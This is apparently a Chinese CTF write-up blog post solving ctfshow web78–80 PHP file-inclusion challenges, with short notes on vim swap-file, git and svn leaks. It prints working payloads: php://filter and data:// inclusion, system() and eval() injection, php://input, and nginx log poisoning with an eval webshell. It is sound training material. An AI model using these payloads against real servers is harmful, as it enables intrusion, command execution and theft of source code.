2222222

1.ctfshow  web78

文件包含,考察伪协议 :/?file=php://filter/convert.base64-encode/resource=flag.php

重要的知识点——PHP封装协议:
php://filter/read=convert.base64-encode/resource=xxx.php
php://filter 是php中独有的一个协议,可以作为一个中间流来处理其他流,可以进行任意文件的读取;根据名字filter,可以很容易想到这个协议可以用来过滤一些东西; 使用不同的参数可以达到不同的目的和效果:
resource=<要过滤的数据流> 指定了你要筛选过滤的数据流。 必选
read=<读链的筛选列表>可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选
write=<写链的筛选列表> 可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选
<;两个链的筛选列表> 任何没有以 read= 或write=作前缀 的筛选器列表会视情况应用于读或写链。
php://filter与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,阻止其不执行。从而导致任意文件读取。
read=convert.base64-encode,用base64编码输出,不然会直接当做php代码执行,看不到源代码内容。
 

另外可以使用hackbar进行快捷操作:1.快捷使用各种协议  2.各种编码破解

 

2.ctfshow web79

相较上题,对php进行了替换,则伪协议无法正常使用,可以使用data形式协议进行命令执行 

payload1:?file=data://text/plain,<?=system('tac flag.php');?>  

payload2:?file=data://text/plain,<?=eval($_GET[1]);?>

payload3:data协议base64加密:?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs= (其中的base64解码为:<?php system('cat flag.php'); 

另:还可以使用input协议:传入?file=php://input,然后使用bp抓包,在请求行写入命令执行操作发送即可:<?php system("ls");?>     <?php system("cat flag.php");?> 

3.ctfshow web80

显而易见,data协议也被过滤,可以使用日志插入的方法读取:使用hackbar的User-Agent写入参数:<?php eval($_POST[1]);>?

随后访问日志文件路径:?file=/var/log/nginx/access.log 使用POST传参进行命令执行,发现文件位置打开即可

也可以用webshell后门工具连接,查看目录:

?file=/var/log/nginx/access.log&2=system('ls /var/www/html');phpinfo();

?file=/var/log/nginx/access.log&2=system('tac /var/www/html/fl0g.php');phpinfo();

4.vim临时文件泄露

vim是linux自带且常用的文件编辑器,vim在编辑时会生成一个隐藏的临时文件,当vim非正常关闭时这个文件就会被保留下来。 使用vim时意外退出,会在目录下生成一个备份文件,格式为 .文件名.swp,访问/index.php.swp可以下载备份文件

5.git文件泄露 

Git泄露是十分常见的漏洞,可以快速上手。
.git文件夹是git init后在当前目录生成的一个管理git仓库的文件夹,这里包含所有git操作所需要的东西,在使用github储存库时如果没有处理好,很有可能能够通过它获取到信息。

6.svn文件泄露 

SVN(subversion)是程序员常用的源代码版本管理软件。在使用SVN管理本地代码过程中,会自动生成一个隐藏文件夹,其中包含重要的源代码信息。

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值